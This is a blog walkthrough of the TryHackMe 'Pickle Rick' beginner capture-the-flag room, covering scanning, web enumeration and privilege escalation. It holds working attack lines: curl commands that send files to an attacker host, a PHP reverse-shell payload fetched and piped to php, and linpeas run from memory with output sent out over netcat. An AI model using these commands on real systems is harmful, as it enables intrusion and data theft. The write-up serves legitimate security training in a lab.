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Complete write-up for Pickle Rick box from Try Hack Me
Currently working as a Senior Consultant at Netcompany spending my full-time job solving the SharePoint riddles. In the free time I'm expanding my understanding of cybersecurity through hacking activities. Git fanboy.
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A Deep Dive into Rootkit Detection via Linux Memory Forensics - HackTheBox Business CTF 2025
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Hack The Box CTF Cyber Apocalypse 2025: Tales from Eldoria
You will encounter this box naturally when doing the Complete Beginner Path on TryHackMe. By the time you approach this you should possess enough skill set to know what to research for and get the flags.
This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.
Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!
| # | |
| Type | Beginner Box |
| Name | Try Hack Me / Pickle Rick |
| Started | 2021/05/06 |
| URLs | https://tryhackme.com/room/picklerick |
| Author | Asentinn / OkabeRintaro |
| https://ctftime.org/team/152207 |
We are given the IP as a target of evaluation:
10.10.124.36I'm running nmap scan combined with Exploit-DB search with searchsploit:
-A: OS detection, version detection, script scanning, and traceroute
-p-: all ports
$ nmap -A -p- 10.10.124.36 -oX nmap_initial.xml
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-06 23:25 CEST
Nmap scan report for 10.10.124.36
Host is up (0.048s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9c:29:54:49:94:ec:27:2a:68:9e:18:0f:6b:37:1f:39 (RSA)
| 256 8f:06:a2:ef:34:08:e7:cd:2d:bc:85:4f:5d:f0:5f:0d (ECDSA)
|_ 256 ea:ab:a5:0a:ea:60:ee:9c:c8:6c:3b:84:79:ef:c6:aa (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.82 seconds
$ searchsploit --nmap nmap_initial.xml
[i] SearchSploit's XML mode (without verbose enabled). To enable: searchsploit -v --xml...
[i] Reading: 'nmap_initial.xml'
[-] Skipping term: ssh (Term is too general. Please re-search manually: /usr/bin/searchsploit -t ssh)
[i] /usr/bin/searchsploit -t openssh
------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------- ---------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One | unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow | linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service | multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation | linux/local/41173.c
OpenSSH 7.2 - Denial of Service | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Priv | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident | linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool | linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack | multiple/remote/3303.sh
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
[-] Skipping term: http (Term is too general. Please re-search manually: /usr/bin/searchsploit -t http)
[i] /usr/bin/searchsploit -t apache httpd
------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------- ---------------------------------
Apache 0.8.x/1.0.x / NCSA HTTPd 1.x - 'test-cgi' Directory Listing | cgi/remote/20435.txt
Apache 1.1 / NCSA HTTPd 1.5.2 / Netscape Server 1.12/1.1/2.0 - a nph-test-cgi | multiple/dos/19536.txt
Apache Httpd mod_proxy - Error Page Cross-Site Scripting | multiple/webapps/47688.md
Apache Httpd mod_rewrite - Open Redirects | multiple/webapps/47689.md
NCSA 1.3/1.4.x/1.5 / Apache HTTPd 0.8.11/0.8.14 - ScriptAlias Source Retrieval | multiple/remote/20595.txt
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
So two open ports (SSH and a website), with potential user enumeration on OpenSSH 7.2p2. Let's try to poke the SSH a bit and then see what port 80 have for us.
$ ssh R1ckRul3s@10.10.124.36
The authenticity of host '10.10.124.36 (10.10.124.36)' can't be established.
ECDSA key fingerprint is SHA256:CcPfyPpsT6IYu/4wh+7foN+W+ldjBeH/SYo8poMPfps.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.124.36' (ECDSA) to the list of known hosts.
R1ckRul3s@10.10.124.36: Permission denied (publickey).
After that command, I tried to override public key check, without removing it from the keychain on my machine.
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no R1ckRul3s@10.10.124.36
I've tried a few blank shots with passwords from Rick & Morty universe unsuccessfully.
In the source code:
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
And running both gobuster and nikto:
$ gobuster dir -w /usr/wl/dirbuster-m.txt -u http://10.10.124.36/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.124.36/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/wl/dirbuster-m.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/06 23:31:57 Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 313] [--> http://10.10.124.36/assets/]
/server-status (Status: 403) [Size: 300]
===============================================================
2021/05/06 23:50:48 Finished
===============================================================
$ nikto -o nikto.txt -h 10.10.124.36
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.124.36
+ Target Hostname: 10.10.124.36
+ Target Port: 80
+ Start Time: 2021-05-07 00:08:30 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 426, size: 5818ccf125686, mtime: gzip
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ Cookie PHPSESSID created without the httponly flag
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7889 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2021-05-07 00:16:51 (GMT2) (501 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto found a /login.php page.
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I was curious why nikto found login.php and gobuster didn't. Well, apparently gobuster dir have an additional parameter that can be used to enumerate files.
-x, --extensions string File extension(s) to search for
So lets run it again:
─$ gobuster dir -w /usr/wl/dirbuster-m.txt -x php,txt,md,db,bak -u http://10.10.124.36
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.124.36
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/wl/dirbuster-m.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt,md,db,bak
[+] Timeout: 10s
===============================================================
2021/05/08 18:31:09 Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 882]
/assets (Status: 301) [Size: 313] [--> http://10.10.124.36/assets/]
/portal.php (Status: 302) [Size: 0] [--> /login.php]
/robots.txt (Status: 200) [Size: 17]
Bum, right away. portal.php redirects to login.php, but:
$ curl http://10.10.124.36/robots.txt
Wubbalubbadubdub
Using R1ckRul3s/Wubbalubbadubdub credentials I can successfully authorize on login.php.
I'm firing up burpsuite to map the site as I'm going through.
Uhm... We have access "only" to commands tab.
All right! Webshell as www-data user.
Let's fire up netcat and see if we can curl that out (cat is disabled via that webshell)
# Webshell
curl --data-binary @Sup3rS3cretPickl3Ingred.txt 10.XX.XX.XXX:443
# Local
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.XX.XX.XXX] from (UNKNOWN) [10.10.124.36] 56886
POST / HTTP/1.1
Host: 10.XX.XX.XXX:443
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 17
Content-Type: application/x-www-form-urlencoded
/FIRST FLAG CUT/
And also the clue.txt:
# Webshell
curl --data-binary @clue.txt 10.XX.XX.XXX:443
# Local
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.XX.XX.XXX] from (UNKNOWN) [10.10.124.36] 56894
POST / HTTP/1.1
Host: 10.XX.XX.XXX:443
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Look around the file system for the other ingredient.
Time to get proper shell. Preparing payload:
#pshell.php
<?php
$sock=fsockopen("10.XX.XX.XXX",443);$proc=proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Serve it on the python HTTP server:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Start netcat to listen for reverse shell:
$ nc -lvnp 443
listening on [any] 443 ...
Execute on the web:
curl 10.XX.XX.XXX/pshell.php | php
And on the netcat we can see:
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.XX.XX.XXX] from (UNKNOWN) [10.10.124.36] 57104
/bin/sh: 0: can't access tty; job control turned off
$ ls
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
Semi-stabilize shell (read more in Additional readings, "Upgrading Simple Shells"), alias the ls for clearer output.
python -c 'import pty; pty.spawn("/bin/sh")'
alias ls="ls -lah"
Little traversing:
www-data@ip-10-10-212-47:/home/rick$ ls
ls
total 12K
drwxrwxrwx 2 root root 4.0K Feb 10 2019 .
drwxr-xr-x 4 root root 4.0K Feb 10 2019 ..
-rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients
www-data@ip-10-10-212-47:/home/rick$ cat sec
cat second\ ingredients
/SECOND FLAG CUT/
Now probably we need to root the box to get the third flag. I'm firing up the linpeas using in-memory execution with redirecting output to my server.
curl 10.XX.XX.XXX/linpeas.sh | sh | nc 10.XX.XX.XXX 9002
And bingo:
You don't always aim for the root itself - you want his permissions, ex. to execute stuff, to enumerate directories. Well, this time simple www-data account have these permissions (www-data is sudoer). Let's use that.
www-data@ip-10-10-23-38:/home$ sudo cat ubuntu/.bash_history
sudo cat ubuntu/.bash_history
ll
sudo apt-get install apache2
ls
ls -la
exit
3rd ingredients: /THIRD FLAG CUT/
find / -name php.ini
sudo find / -name php.ini
sudo rm -rf /var/lib/php/session/*
cat /etc/php/7.0/fpm/php.ini
cat /etc/php/7.0/fpm/php.ini | grep session
cd /var/lib/php/sessions
ls
sudo ls
sudo rm -rf sess_n16aanckg2ifmk12io64o1kfa2
sudo ls
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